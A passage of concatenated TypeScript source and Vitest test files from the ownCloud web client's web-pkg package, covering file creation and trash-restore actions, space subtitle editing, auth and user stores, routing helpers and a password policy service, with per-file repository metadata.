appFileExtension: ApplicationFileExtension
) => {
let defaultName = $gettext('New file') + `.${extension}`
if (unref(resources).some((f) => f.name === defaultName)) {
defaultName = resolveFileNameDuplicate(defaultName, extension, unref(resources))
}
if (!areFileExtensionsShown.value) {
defaultName = extractNameWithoutExtension({ name: defaultName, extension } as Resource)
}
const inputSelectionRange = !areFileExtensionsShown.value
? null
: ([0, defaultName.length - (extension.length + 1)] as [number, number])
dispatchModal({
title: $gettext('Create a new file'),
confirmText: $gettext('Create'),
hasInput: true,
inputValue: defaultName,
inputLabel: $gettext('File name'),
inputSelectionRange,
onConfirm: async (fileName: string) => {
if (!areFileExtensionsShown.value) {
fileName = `${fileName}.${extension}`
}
try {
let resource: Resource
if (appFileExtension.createFileHandler) {
resource = await appFileExtension.createFileHandler({
fileName,
space,
currentFolder: unref(currentFolder)
})
} else {
const path = join(unref(currentFolder).path, fileName)
resource = await (clientService.webdav as WebDAV).putFileContents(space, {
path
})
}
showMessage({
title: $gettext('"%{fileName}" was created successfully', { fileName: resource.name })
})
return openFile(resource, appFileExtension)
} catch (error) {
console.error(error)
showErrorMessage({
title: $gettext('Failed to create file'),
errors: [error]
})
}
},
onInput: (name, setError) =>
setError(getNameErrorMsg(areFileExtensionsShown.value ? name : `${name}.${extension}`))
})
}
const actions = computed((): FileAction[] => {
const actions = []
// make sure there is only one action for a file extension/mime-type
// if there are
// - multiple ApplicationFileExtensions with priority
// or
// - multiple ApplicationFileExtensions without priority (and none with)
// we do not guarantee which one is chosen
const defaultMapping: Record<string, ApplicationFileExtension> = {}
for (const appFileExtension of unref(appNewFileMenuExtensions) || []) {
if (appFileExtension.hasPriority) {
defaultMapping[appFileExtension.extension] = appFileExtension
} else {
defaultMapping[appFileExtension.extension] =
defaultMapping[appFileExtension.extension] || appFileExtension
}
}
for (const [_, appFileExtension] of Object.entries(defaultMapping)) {
actions.push({
name: 'create-new-file',
icon: 'add',
handler: (args) => handler(args, appFileExtension.extension, appFileExtension),
label: () => $gettext(appFileExtension.newFileMenu.menuTitle()),
isEnabled: () => {
return unref(currentFolder)?.canUpload({ user: userStore.user })
},
componentType: 'button',
class: 'oc-files-actions-create-new-file',
ext: appFileExtension.extension,
isExternal: appFileExtension.app === 'external'
})
}
return actions
})
return {
actions,
getNameErrorMsg,
openFile
}
}
| owncloud/web/packages/web-pkg/src/composables/actions/files/useFileActionsCreateNewFile.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/composables/actions/files/useFileActionsCreateNewFile.ts",
"repo_id": "owncloud",
"token_count": 2398
} | 814 |
import { dirname } from 'path'
import { isLocationTrashActive } from '../../../router'
import {
Resource,
isProjectSpaceResource,
extractExtensionFromFile,
SpaceResource
} from '@ownclouders/web-client/src/helpers'
import {
ResolveStrategy,
ResolveConflict,
resolveFileNameDuplicate,
ConflictDialog
} from '../../../helpers/resource'
import { urlJoin } from '@ownclouders/web-client/src/utils'
import { useClientService } from '../../clientService'
import { useLoadingService } from '../../loadingService'
import { useRouter } from '../../router'
import { computed } from 'vue'
import { useGettext } from 'vue3-gettext'
import { FileAction, FileActionOptions } from '../types'
import { LoadingTaskCallbackArguments } from '../../../services'
import { useMessages, useSpacesStore, useUserStore, useResourcesStore } from '../../piniaStores'
export const useFileActionsRestore = () => {
const { showMessage, showErrorMessage } = useMessages()
const userStore = useUserStore()
const router = useRouter()
const { $gettext, $ngettext } = useGettext()
const clientService = useClientService()
const loadingService = useLoadingService()
const spacesStore = useSpacesStore()
const resourcesStore = useResourcesStore()
const collectConflicts = async (space: SpaceResource, sortedResources: Resource[]) => {
const existingResourcesCache = {}
const conflicts: Resource[] = []
const resolvedResources: Resource[] = []
const missingFolderPaths: string[] = []
for (const resource of sortedResources) {
const parentPath = dirname(resource.path)
let existingResources: Resource[] = []
if (parentPath in existingResourcesCache) {
existingResources = existingResourcesCache[parentPath]
} else {
try {
existingResources = (
await clientService.webdav.listFiles(space, {
path: parentPath
})
).children
} catch (error) {
missingFolderPaths.push(parentPath)
}
existingResourcesCache[parentPath] = existingResources
}
// Check for naming conflict in parent folder and between resources batch
const hasConflict =
existingResources.some((r) => r.name === resource.name) ||
resolvedResources.filter((r) => r.id !== resource.id).some((r) => r.path === resource.path)
if (hasConflict) {
conflicts.push(resource)
} else {
resolvedResources.push(resource)
}
}
return {
existingResourcesByPath: existingResourcesCache,
conflicts,
resolvedResources,
missingFolderPaths: missingFolderPaths.filter((path) => !existingResourcesCache[path]?.length)
}
}
const collectResolveStrategies = async (conflicts: Resource[]) => {
let count = 0
const resolvedConflicts = []
const allConflictsCount = conflicts.length
let doForAllConflicts = false
let allConflictsStrategy
for (const conflict of conflicts) {
const isFolder = conflict.type === 'folder'
if (doForAllConflicts) {
resolvedConflicts.push({
resource: conflict,
strategy: allConflictsStrategy
})
continue
}
const remainingConflictCount = allConflictsCount - count
const conflictDialog = new ConflictDialog($gettext, $ngettext)
const resolvedConflict: ResolveConflict = await conflictDialog.resolveFileExists(
{ name: conflict.name, isFolder } as Resource,
remainingConflictCount,
false
)
count++
if (resolvedConflict.doForAllConflicts) {
doForAllConflicts = true
allConflictsStrategy = resolvedConflict.strategy
}
resolvedConflicts.push({
resource: conflict,
strategy: resolvedConflict.strategy
})
}
return resolvedConflicts
}
const createFolderStructure = async (
space: SpaceResource,
path: string,
existingPaths: string[]
) => {
const { webdav } = clientService
const pathSegments = path.split('/').filter(Boolean)
let parentPath = ''
for (const subFolder of pathSegments) {
const folderPath = urlJoin(parentPath, subFolder)
if (existingPaths.includes(folderPath)) {
parentPath = urlJoin(parentPath, subFolder)
continue
}
try {
await webdav.createFolder(space, { path: folderPath })
} catch (ignored) {}
existingPaths.push(folderPath)
parentPath = folderPath
}
return {
existingPaths
}
}
const restoreResources = async (
space: SpaceResource,
resources: Resource[],
missingFolderPaths: string[],
{ setProgress }: LoadingTaskCallbackArguments
) => {
const restoredResources = []
const failedResources = []
const errors = []
let createdFolderPaths = []
for (const [i, resource] of resources.entries()) {
const parentPath = dirname(resource.path)
if (missingFolderPaths.includes(parentPath)) {
const { existingPaths } = await createFolderStructure(space, parentPath, createdFolderPaths)
createdFolderPaths = existingPaths
}
try {
await clientService.webdav.restoreFile(space, resource, resource, {
overwrite: true
})
restoredResources.push(resource)
} catch (e) {
console.error(e)
errors.push(e)
failedResources.push(resource)
} finally {
setProgress({ total: resources.length, current: i + 1 })
}
}
// success handler (for partial and full success)
if (restoredResources.length) {
resourcesStore.removeResources(restoredResources)
resourcesStore.resetSelection()
let title: string
if (restoredResources.length === 1) {
title = $gettext('%{resource} was restored successfully', {
resource: restoredResources[0].name
})
} else {
title = $gettext('%{resourceCount} files restored successfully', {
resourceCount: restoredResources.length.toString()
})
}
showMessage({ title })
}
// failure handler (for partial and full failure)
if (failedResources.length) {
let translated
const translateParams: any = {}
if (failedResources.length === 1) {
translateParams.resource = failedResources[0].name
translated = $gettext('Failed to restore "%{resource}"', translateParams, true)
} else {
translateParams.resourceCount = failedResources.length
translated = $gettext('Failed to restore %{resourceCount} files', translateParams, true)
}
showErrorMessage({ title: translated, errors })
}
// Reload quota
const graphClient = clientService.graphAuthenticated
const driveResponse = await graphClient.drives.getDrive(space.id as string)
spacesStore.updateSpaceField({
id: driveResponse.data.id,
field: 'spaceQuota',
value: driveResponse.data.quota
})
}
const handler = async ({ space, resources }: FileActionOptions) => {
// resources need to be sorted by path ASC to recover the parents first in case of deep nested folder structure
const sortedResources = resources.sort((a, b) => a.path.length - b.path.length)
// collect and request existing files in associated parent folders of each resource
const { existingResourcesByPath, conflicts, resolvedResources, missingFolderPaths } =
await collectConflicts(space, sortedResources)
// iterate through conflicts and collect resolve strategies
const resolvedConflicts = await collectResolveStrategies(conflicts)
// iterate through conflicts and behave according to strategy
const filesToOverwrite = resolvedConflicts
.filter((e) => e.strategy === ResolveStrategy.REPLACE)
.map((e) => e.resource)
resolvedResources.push(...filesToOverwrite)
const filesToKeepBoth = resolvedConflicts
.filter((e) => e.strategy === ResolveStrategy.KEEP_BOTH)
.map((e) => e.resource)
for (let resource of filesToKeepBoth) {
resource = { ...resource }
const parentPath = dirname(resource.path)
const existingResources = existingResourcesByPath[parentPath] || []
const extension = extractExtensionFromFile(resource)
const resolvedName = resolveFileNameDuplicate(resource.name, extension, [
...existingResources,
...resolvedConflicts.map((e) => e.resource),
...resolvedResources
])
resource.name = resolvedName
resource.path = urlJoin(parentPath, resolvedName)
resolvedResources.push(resource)
}
return loadingService.addTask(
({ setProgress }) => {
return restoreResources(space, resolvedResources, missingFolderPaths, { setProgress })
},
{ indeterminate: false }
)
}
const actions = computed((): FileAction[] => [
{
name: 'restore',
icon: 'arrow-go-back',
label: () => $gettext('Restore'),
handler,
isVisible: ({ space, resources }) => {
if (!isLocationTrashActive(router, 'files-trash-generic')) {
return false
}
if (!resources.every((r) => r.canBeRestored())) {
return false
}
if (
isProjectSpaceResource(space) &&
!space.isEditor(userStore.user) &&
!space.isManager(userStore.user)
) {
return false
}
return resources.length > 0
},
componentType: 'button',
class: 'oc-files-actions-restore-trigger'
}
])
return {
actions,
// HACK: exported for unit tests:
restoreResources,
collectConflicts
}
}
| owncloud/web/packages/web-pkg/src/composables/actions/files/useFileActionsRestore.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/composables/actions/files/useFileActionsRestore.ts",
"repo_id": "owncloud",
"token_count": 3503
} | 815 |
import { Drive } from '@ownclouders/web-client/src/generated'
import { computed, unref } from 'vue'
import { SpaceAction, SpaceActionOptions } from '../types'
import { useRoute } from '../../router'
import { useAbility } from '../../ability'
import { useClientService } from '../../clientService'
import { useGettext } from 'vue3-gettext'
import { SpaceResource } from '@ownclouders/web-client/src'
import { useMessages, useModals, useSpacesStore, useUserStore } from '../../piniaStores'
export const useSpaceActionsEditDescription = () => {
const { showMessage, showErrorMessage } = useMessages()
const userStore = useUserStore()
const { $gettext } = useGettext()
const ability = useAbility()
const clientService = useClientService()
const route = useRoute()
const { dispatchModal } = useModals()
const spacesStore = useSpacesStore()
const editDescriptionSpace = (space: SpaceResource, description: string) => {
const graphClient = clientService.graphAuthenticated
return graphClient.drives
.updateDrive(space.id as string, { description } as Drive, {})
.then(() => {
spacesStore.updateSpaceField({ id: space.id, field: 'description', value: description })
if (unref(route).name === 'admin-settings-spaces') {
space.description = description
}
showMessage({ title: $gettext('Space subtitle was changed successfully') })
})
.catch((error) => {
console.error(error)
showErrorMessage({
title: $gettext('Failed to change space subtitle'),
errors: [error]
})
})
}
const handler = ({ resources }: SpaceActionOptions) => {
if (resources.length !== 1) {
return
}
dispatchModal({
title: $gettext('Change subtitle for space') + ' ' + resources[0].name,
confirmText: $gettext('Confirm'),
hasInput: true,
inputLabel: $gettext('Space subtitle'),
inputValue: resources[0].description,
onConfirm: (description: string) => editDescriptionSpace(resources[0], description)
})
}
const actions = computed((): SpaceAction[] => [
{
name: 'editDescription',
icon: 'h-2',
iconFillType: 'none',
label: () => {
return $gettext('Edit subtitle')
},
handler,
isVisible: ({ resources }) => {
if (resources.length !== 1) {
return false
}
return resources[0].canEditDescription({ user: userStore.user, ability })
},
componentType: 'button',
class: 'oc-files-actions-edit-description-trigger'
}
])
return {
actions,
// HACK: exported for unit tests:
editDescriptionSpace
}
}
| owncloud/web/packages/web-pkg/src/composables/actions/spaces/useSpaceActionsEditDescription.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/composables/actions/spaces/useSpaceActionsEditDescription.ts",
"repo_id": "owncloud",
"token_count": 969
} | 816 |
import { Ref, computed, unref } from 'vue'
import { basename } from 'path'
import { FileContext } from './types'
import { useAppMeta } from './useAppMeta'
import { useDocumentTitle } from './useDocumentTitle'
import { RouteLocationNormalizedLoaded } from 'vue-router'
import { MaybeRef } from 'vue'
import { useGettext } from 'vue3-gettext'
import { AppsStore } from '../piniaStores'
interface AppDocumentTitleOptions {
appsStore: AppsStore
applicationId: string
applicationName?: MaybeRef<string>
currentFileContext: Ref<FileContext>
currentRoute?: Ref<RouteLocationNormalizedLoaded>
}
export function useAppDocumentTitle({
appsStore,
applicationId,
applicationName,
currentFileContext,
currentRoute
}: AppDocumentTitleOptions): void {
const appMeta = useAppMeta({ applicationId, appsStore })
const { $gettext } = useGettext()
const titleSegments = computed(() => {
const baseTitle =
basename(unref(unref(currentFileContext)?.fileName)) ||
$gettext((unref(currentRoute)?.meta?.title as string) || '')
const meta = unref(unref(appMeta).applicationMeta)
return [baseTitle, unref(applicationName) || meta.name || meta.id].filter(Boolean)
})
useDocumentTitle({
titleSegments
})
}
| owncloud/web/packages/web-pkg/src/composables/appDefaults/useAppDocumentTitle.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/composables/appDefaults/useAppDocumentTitle.ts",
"repo_id": "owncloud",
"token_count": 393
} | 817 |
import { useClipboard as _useClipboard } from '@vueuse/core'
export const useClipboard = () => {
// doCopy creates the requested link and copies the url to the clipboard,
// the copy action uses the clipboard // clipboardItem api to work around the webkit limitations.
//
// https://developer.apple.com/forums/thread/691873
//
// if those apis not available (or like in firefox behind dom.events.asyncClipboard.clipboardItem)
// it has a fallback to the vue-use implementation.
//
// https://webkit.org/blog/10855/
const copyToClipboard = (quickLinkUrl: string) => {
if (typeof ClipboardItem && navigator?.clipboard?.write) {
return navigator.clipboard.write([
new ClipboardItem({
'text/plain': new Blob([quickLinkUrl], { type: 'text/plain' })
})
])
} else {
const { copy } = _useClipboard({ legacy: true })
return copy(quickLinkUrl)
}
}
return { copyToClipboard }
}
| owncloud/web/packages/web-pkg/src/composables/clipboard/useClipboard.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/composables/clipboard/useClipboard.ts",
"repo_id": "owncloud",
"token_count": 339
} | 818 |
export * from './ability'
export * from './actions'
export * from './appDefaults'
export * from './archiverService'
export * from './authContext'
export * from './breadcrumbs'
export * from './clientService'
export * from './clipboard'
export * from './download'
export * from './driveResolver'
export * from './embedMode'
export * from './eventBus'
export * from './fileListHeaderPosition'
export * from './filesList'
export * from './folderLink'
export * from './keyboardActions'
export * from './links'
export * from './loadingService'
export * from './localStorage'
export * from './pagination'
export * from './passwordPolicyService'
export * from './piniaStores'
export * from './portalTarget'
export * from './previewService'
export * from './resources'
export * from './router'
export * from './scrollTo'
export * from './search'
export * from './selection'
export * from './service'
export * from './shares'
export * from './sideBar'
export * from './sort'
export * from './spaces'
export * from './upload'
export * from './viewMode'
| owncloud/web/packages/web-pkg/src/composables/index.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/composables/index.ts",
"repo_id": "owncloud",
"token_count": 328
} | 819 |
import { defineStore } from 'pinia'
import { ref } from 'vue'
export const useAuthStore = defineStore('auth', () => {
const accessToken = ref<string>()
const idpContextReady = ref(false)
const userContextReady = ref(false)
const publicLinkToken = ref<string>()
const publicLinkPassword = ref<string>()
const publicLinkType = ref<string>()
const publicLinkContextReady = ref(false)
const setAccessToken = (value: string) => {
accessToken.value = value
}
const setIdpContextReady = (value: boolean) => {
idpContextReady.value = value
}
const setUserContextReady = (value: boolean) => {
userContextReady.value = value
}
const setPublicLinkContext = (context: {
publicLinkToken: string
publicLinkPassword: string
publicLinkType: string
publicLinkContextReady: boolean
}) => {
publicLinkToken.value = context.publicLinkToken
publicLinkPassword.value = context.publicLinkPassword
publicLinkType.value = context.publicLinkType
publicLinkContextReady.value = context.publicLinkContextReady
}
const clearUserContext = () => {
setAccessToken(null)
setIdpContextReady(null)
setUserContextReady(null)
}
const clearPublicLinkContext = () => {
setPublicLinkContext({
publicLinkToken: null,
publicLinkPassword: null,
publicLinkType: null,
publicLinkContextReady: false
})
}
return {
accessToken,
idpContextReady,
userContextReady,
publicLinkToken,
publicLinkPassword,
publicLinkType,
publicLinkContextReady,
setAccessToken,
setIdpContextReady,
setUserContextReady,
setPublicLinkContext,
clearUserContext,
clearPublicLinkContext
}
})
export type AuthStore = ReturnType<typeof useAuthStore>
| owncloud/web/packages/web-pkg/src/composables/piniaStores/auth.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/composables/piniaStores/auth.ts",
"repo_id": "owncloud",
"token_count": 581
} | 820 |
import { setUser as sentrySetUser } from '@sentry/vue'
import { defineStore } from 'pinia'
import { ref } from 'vue'
import { User } from '@ownclouders/web-client/src/generated'
export const useUserStore = defineStore('user', () => {
const user = ref<User>()
const setUser = (data: User) => {
user.value = data
sentrySetUser({ username: data.onPremisesSamAccountName })
}
return {
user,
setUser
}
})
export type UserStore = ReturnType<typeof useUserStore>
| owncloud/web/packages/web-pkg/src/composables/piniaStores/user.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/composables/piniaStores/user.ts",
"repo_id": "owncloud",
"token_count": 169
} | 821 |
import { computed, ComputedRef, unref } from 'vue'
import { useRoute } from './useRoute'
export const useRouteName = (): ComputedRef<string> => {
const route = useRoute()
return computed(() => {
return unref(route).name as string
})
}
| owncloud/web/packages/web-pkg/src/composables/router/useRouteName.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/composables/router/useRouteName.ts",
"repo_id": "owncloud",
"token_count": 81
} | 822 |
export enum SideBarEventTopics {
open = 'sidebar.open',
close = 'sidebar.close',
toggle = 'sidebar.toggle',
openWithPanel = 'sidebar.openWithPanel',
setActivePanel = 'sidebar.setActivePanel'
}
| owncloud/web/packages/web-pkg/src/composables/sideBar/eventTopics.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/composables/sideBar/eventTopics.ts",
"repo_id": "owncloud",
"token_count": 68
} | 823 |
export const EVENT_TROW_MOUNTED = 'rowMounted'
export const EVENT_FILE_DROPPED = 'fileDropped'
export const EVENT_TROW_CONTEXTMENU = 'contextmenuClicked'
export abstract class ImageDimension {
static readonly Thumbnail: [number, number] = [36, 36]
static readonly Tile: [number, number] = [1000, 1000]
static readonly Preview: [number, number] = [1200, 1200]
static readonly Avatar: number = 64
}
export abstract class ImageType {
static readonly Thumbnail: string = 'thumbnail'
static readonly Preview: string = 'preview'
static readonly Avatar: string = 'avatar'
}
| owncloud/web/packages/web-pkg/src/constants.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/constants.ts",
"repo_id": "owncloud",
"token_count": 179
} | 824 |
export const getLocaleFromLanguage = (currentLanguage: string) => {
return (currentLanguage || '').split('_')[0]
}
| owncloud/web/packages/web-pkg/src/helpers/locale.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/helpers/locale.ts",
"repo_id": "owncloud",
"token_count": 35
} | 825 |
import { isShareSpaceResource, Resource, SpaceResource } from '@ownclouders/web-client/src/helpers'
import { ConfigStore, LocationQuery, useConfigStore } from '../../composables'
import { RouteParams } from 'vue-router'
import { isUndefined } from 'lodash-es'
/**
* Creates route options for routing into a file location:
* - params.driveAliasAndItem
* - query.shareId
* - query.fileId
*
* Both query options are optional.
*
* @param space {SpaceResource}
* @param target {path: string, fileId: string | number}
* @param options {configStore: ConfigStore}
*/
export const createFileRouteOptions = (
space: SpaceResource,
target: { path?: string; fileId?: string | number } = {},
options?: { configStore: ConfigStore }
): { params: RouteParams; query: LocationQuery } => {
const config = options?.configStore || useConfigStore()
return {
params: {
driveAliasAndItem: space.getDriveAliasAndItem({ path: target.path || '' } as Resource)
},
query: {
...(isShareSpaceResource(space) && { shareId: space.shareId }),
...(config?.options?.routing?.idBased &&
!isUndefined(target.fileId) && { fileId: `${target.fileId}` })
}
}
}
| owncloud/web/packages/web-pkg/src/helpers/router/routeOptions.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/helpers/router/routeOptions.ts",
"repo_id": "owncloud",
"token_count": 390
} | 826 |
import { RouteRecordRaw } from 'vue-router'
import {
buildRoutes as buildCommonRoutes,
isLocationCommonActive,
createLocationCommon
} from './common'
import { buildRoutes as buildDeprecatedRoutes, isLocationActive } from './deprecated'
import {
buildRoutes as buildPublicRoutes,
createLocationPublic,
isLocationPublicActive,
locationPublicLink,
locationPublicUpload
} from './public'
import { RouteComponents } from './router'
import {
buildRoutes as buildSharesRoutes,
isLocationSharesActive,
createLocationShares,
locationSharesViaLink,
locationSharesWithMe,
locationSharesWithOthers
} from './shares'
import {
buildRoutes as buildSpacesRoutes,
isLocationSpacesActive,
createLocationSpaces,
locationSpacesGeneric
} from './spaces'
import {
buildRoutes as buildTrashRoutes,
isLocationTrashActive,
createLocationTrash
} from './trash'
import type { ActiveRouteDirectorFunc } from './utils'
const ROOT_ROUTE = {
name: 'root',
path: '/',
redirect: (to) => createLocationSpaces('files-spaces-generic', to)
}
const buildRoutes = (components: RouteComponents): RouteRecordRaw[] => [
ROOT_ROUTE,
...buildCommonRoutes(components),
...buildSharesRoutes(components),
...buildPublicRoutes(components),
...buildSpacesRoutes(components),
...buildTrashRoutes(components),
...buildDeprecatedRoutes()
]
export {
createLocationCommon,
createLocationShares,
createLocationSpaces,
createLocationPublic,
isLocationCommonActive,
isLocationSharesActive,
isLocationSpacesActive,
isLocationPublicActive,
isLocationActive,
isLocationTrashActive,
createLocationTrash,
locationPublicLink,
locationPublicUpload,
locationSpacesGeneric,
locationSharesViaLink,
locationSharesWithMe,
locationSharesWithOthers,
buildRoutes,
ActiveRouteDirectorFunc
}
| owncloud/web/packages/web-pkg/src/router/index.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/router/index.ts",
"repo_id": "owncloud",
"token_count": 581
} | 827 |
import { Language } from 'vue3-gettext'
import {
AtLeastCharactersRule,
AtLeastDigitsRule,
AtLeastLowercaseCharactersRule,
AtLeastUppercaseCharactersRule,
AtMostCharactersRule,
MustContainRule,
MustNotBeEmptyRule
} from './rules'
import { PasswordPolicyCapability } from '@ownclouders/web-client/src/ocs/capabilities'
import { PasswordPolicy } from 'password-sheriff'
import { GeneratePassword } from 'js-generate-password'
import { CapabilityStore } from '../../composables'
interface GeneratePasswordRules {
length: number
minLowercaseCharacters: number
minUppercaseCharacters: number
minSpecialCharacters: number
minDigits: number
}
export class PasswordPolicyService {
private readonly language: Language
private capability: PasswordPolicyCapability
private policy: PasswordPolicy
private generatePasswordRules: GeneratePasswordRules
constructor({ language }: { language: Language }) {
this.language = language
}
public initialize(capabilityStore: CapabilityStore) {
this.capability = capabilityStore.passwordPolicy
this.buildGeneratePasswordRules()
this.buildPolicy()
}
private useDefaultRules(): boolean {
return (
!this.capability.min_characters &&
!this.capability.min_lowercase_characters &&
!this.capability.min_uppercase_characters &&
!this.capability.min_digits &&
!this.capability.min_special_characters
)
}
private buildGeneratePasswordRules(): void {
const DEFAULT_LENGTH = 12
const DEFAULT_MIN_LOWERCASE_CHARACTERS = 2
const DEFAULT_MIN_UPPERCASE_CHARACTERS = 2
const DEFAULT_MIN_SPECIAL_CHARACTERS = 2
const DEFAULT_MIN_DIGITS = 2
this.generatePasswordRules = {
length: Math.max(
this.capability.min_characters || 0,
(this.capability.min_lowercase_characters || 0) +
(this.capability.min_uppercase_characters || 0) +
(this.capability.min_digits || 0) +
(this.capability.min_special_characters || 0),
DEFAULT_LENGTH
),
minLowercaseCharacters: Math.max(
this.capability.min_lowercase_characters || 0,
DEFAULT_MIN_LOWERCASE_CHARACTERS
),
minUppercaseCharacters: Math.max(
this.capability.min_uppercase_characters || 0,
DEFAULT_MIN_UPPERCASE_CHARACTERS
),
minSpecialCharacters: Math.max(
this.capability.min_special_characters || 0,
DEFAULT_MIN_SPECIAL_CHARACTERS
),
minDigits: Math.max(this.capability.min_digits || 0, DEFAULT_MIN_DIGITS)
}
}
private buildPolicy(): void {
const ruleset = {
atLeastCharacters: new AtLeastCharactersRule({ ...this.language }),
mustNotBeEmpty: new MustNotBeEmptyRule({ ...this.language }),
atLeastUppercaseCharacters: new AtLeastUppercaseCharactersRule({ ...this.language }),
atLeastLowercaseCharacters: new AtLeastLowercaseCharactersRule({ ...this.language }),
atLeastDigits: new AtLeastDigitsRule({ ...this.language }),
mustContain: new MustContainRule({ ...this.language }),
atMostCharacters: new AtMostCharactersRule({ ...this.language })
}
const rules = {} as Record<string, unknown>
if (this.useDefaultRules()) {
rules.mustNotBeEmpty = {}
}
if (this.capability.min_characters) {
rules.atLeastCharacters = { minLength: this.capability.min_characters }
}
if (this.capability.min_uppercase_characters) {
rules.atLeastUppercaseCharacters = {
minLength: this.capability.min_uppercase_characters
}
}
if (this.capability.min_lowercase_characters) {
rules.atLeastLowercaseCharacters = {
minLength: this.capability.min_lowercase_characters
}
}
if (this.capability.min_digits) {
rules.atLeastDigits = { minLength: this.capability.min_digits }
}
if (this.capability.min_special_characters) {
rules.mustContain = {
minLength: this.capability.min_special_characters,
characters: ' "!#\\$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"'
}
}
if (this.capability.max_characters) {
rules.atMostCharacters = { maxLength: this.capability.max_characters }
}
this.policy = new PasswordPolicy(rules, ruleset)
}
public getPolicy(): PasswordPolicy {
return this.policy
}
public generatePassword(): string {
return GeneratePassword({
symbols: true,
length: this.generatePasswordRules.length,
minLengthLowercase: this.generatePasswordRules.minLowercaseCharacters,
minLengthUppercase: this.generatePasswordRules.minUppercaseCharacters,
minLengthNumbers: this.generatePasswordRules.minDigits,
minLengthSymbols: this.generatePasswordRules.minSpecialCharacters
})
}
}
| owncloud/web/packages/web-pkg/src/services/passwordPolicy/passwordPolicy.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/services/passwordPolicy/passwordPolicy.ts",
"repo_id": "owncloud",
"token_count": 1767
} | 828 |
import { useScrollTo } from '../../src/composables/scrollTo'
export const useScrollToMock = (
options: Partial<ReturnType<typeof useScrollTo>> = {}
): ReturnType<typeof useScrollTo> => {
return {
scrollToResource: vi.fn(),
scrollToResourceFromRoute: vi.fn(),
...options
}
}
| owncloud/web/packages/web-pkg/tests/mocks/useScrollToMock.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/tests/mocks/useScrollToMock.ts",
"repo_id": "owncloud",
"token_count": 102
} | 829 |
import CreateShortcutModal from '../../../src/components/CreateShortcutModal.vue'
import {
defaultComponentMocks,
defaultPlugins,
mockAxiosReject,
RouteLocation,
shallowMount
} from 'web-test-helpers'
import { SpaceResource } from '@ownclouders/web-client'
import { mock } from 'vitest-mock-extended'
import { FileResource } from '@ownclouders/web-client/src/helpers'
import { SearchResource } from '@ownclouders/web-client/src/webdav/search'
import { useMessages, useResourcesStore } from '../../../src/composables/piniaStores'
describe('CreateShortcutModal', () => {
describe('method "onConfirm"', () => {
it('should show message on success', async () => {
const { wrapper } = getWrapper()
await wrapper.vm.onConfirm()
const { upsertResource } = useResourcesStore()
expect(upsertResource).toHaveBeenCalled()
const { showMessage } = useMessages()
expect(showMessage).toHaveBeenCalled()
})
it('should show error message on fail', async () => {
console.error = vi.fn()
const { wrapper } = getWrapper({ rejectPutFileContents: true })
await wrapper.vm.onConfirm()
const { upsertResource } = useResourcesStore()
expect(upsertResource).not.toHaveBeenCalled()
const { showErrorMessage } = useMessages()
expect(showErrorMessage).toHaveBeenCalled()
})
})
describe('method "searchTask"', () => {
it('should set "searchResult" correctly', async () => {
const { wrapper } = getWrapper()
await wrapper.vm.searchTask.perform('new file')
expect(wrapper.vm.searchResult.values.length).toBe(3)
})
it('should reset "searchResult" on error', async () => {
console.error = vi.fn()
const { wrapper } = getWrapper({ rejectSearch: true })
await wrapper.vm.searchTask.perform('new folder')
expect(wrapper.vm.searchResult).toBe(null)
})
})
})
function getWrapper({ rejectPutFileContents = false, rejectSearch = false } = {}) {
const mocks = {
...defaultComponentMocks({
currentRoute: mock<RouteLocation>({ name: 'files-spaces-generic' })
})
}
if (rejectPutFileContents) {
mocks.$clientService.webdav.putFileContents.mockRejectedValue(() => mockAxiosReject())
} else {
mocks.$clientService.webdav.putFileContents.mockResolvedValue(mock<FileResource>())
}
if (rejectSearch) {
mocks.$clientService.webdav.search.mockRejectedValue(() => mockAxiosReject())
} else {
mocks.$clientService.webdav.search.mockResolvedValue({
resources: [
mock<SearchResource>({ name: 'New File' }),
mock<SearchResource>({ name: 'New File (1)' }),
mock<SearchResource>({ name: 'New Folder' })
],
totalResults: 3
})
}
return {
mocks,
wrapper: shallowMount(CreateShortcutModal, {
props: {
space: mock<SpaceResource>(),
modal: undefined
},
global: {
plugins: [
...defaultPlugins({
piniaOptions: { resourcesStore: { currentFolder: mock<FileResource>() } }
})
],
mocks,
provide: mocks
}
})
}
}
| owncloud/web/packages/web-pkg/tests/unit/components/CreateShortcutModal.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/tests/unit/components/CreateShortcutModal.spec.ts",
"repo_id": "owncloud",
"token_count": 1196
} | 830 |
import ItemFilterToggle from '../../../src/components/ItemFilterToggle.vue'
import { defaultComponentMocks, defaultPlugins, mount } from 'web-test-helpers'
import { queryItemAsString } from '../../../src/composables/appDefaults'
import { unref } from 'vue'
vi.mock('../../../src/composables/appDefaults', () => ({
appDefaults: vi.fn(),
queryItemAsString: vi.fn()
}))
const selectors = {
labelSpan: '.oc-filter-chip-label',
filterBtn: '.oc-filter-chip-button'
}
describe('ItemFilterToggle', () => {
it('renders the toggle filter including its label', () => {
const filterLabel = 'Toggle'
const { wrapper } = getWrapper({ props: { filterLabel } })
expect(wrapper.find(selectors.labelSpan).text()).toEqual(filterLabel)
})
it('emits the "toggleFilter"-event on click', async () => {
const { wrapper } = getWrapper()
await wrapper.find(selectors.filterBtn).trigger('click')
expect(wrapper.emitted('toggleFilter').length).toBeGreaterThan(0)
})
describe('route query', () => {
it('sets the active state as query param', async () => {
const { wrapper, mocks } = getWrapper()
const currentRouteQuery = unref(mocks.$router.currentRoute).query
expect(mocks.$router.push).not.toHaveBeenCalled()
await wrapper.find(selectors.filterBtn).trigger('click')
expect(currentRouteQuery[wrapper.vm.queryParam]).toBeDefined()
expect(mocks.$router.push).toHaveBeenCalled()
})
